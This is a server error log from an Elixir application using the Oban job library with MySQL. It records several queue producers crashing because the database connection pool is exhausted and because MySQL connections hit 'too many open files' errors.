State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:47:30.238749Z], limit: 20, uuid: "1313fe49-f7d3-44f5-ab2b-a81195e67486", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:30.238753Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.69009>, refresh_timer: #Reference<0.2525715032.1099431938.68995>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:47:30.239893Z], limit: 50, uuid: "ad312e88-6f31-4b9b-b10f-87d8410fbf61", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:30.239899Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.69010>, refresh_timer: #Reference<0.2525715032.1099431938.69008>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:47:30.238698Z], limit: 5, uuid: "75219a18-6be7-4d7a-9639-3108b7591b8c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:30.238704Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.78282>, refresh_timer: #Reference<0.2525715032.1099431938.68996>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:47:30.238415Z], limit: 5, uuid: "5c740665-d540-4cb2-9566-b3b97df38848", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:30.238420Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.78281>, refresh_timer: #Reference<0.2525715032.1121189889.222517>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:47:30.238703Z], limit: 3, uuid: "8a707750-2c34-42bd-b0a3-712c9bdd8290", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:30.238709Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.78283>, refresh_timer: #Reference<0.2525715032.1099431938.68990>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:45.293000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:53.737000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:47:42.240556Z], limit: 20, uuid: "886ddef8-6709-437e-86df-a38f43a178e2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:42.240562Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.54920>, refresh_timer: #Reference<0.2525715032.1077673987.54888>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:47:42.240044Z], limit: 10, uuid: "0e4f3ff5-eb66-4810-95ee-6b1f6f01a4e8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:42.240050Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.54921>, refresh_timer: #Reference<0.2525715032.1077673987.54860>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:47:42.240743Z], limit: 3, uuid: "93773b9f-e09b-475d-b802-da25dae4ca56", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:42.240749Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.54924>, refresh_timer: #Reference<0.2525715032.1099431938.69063>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:47:42.240326Z], limit: 5, uuid: "31236ca8-95ed-49d8-a81d-6cc5f432ce56", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:42.240331Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.54922>, refresh_timer: #Reference<0.2525715032.1077673987.54873>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
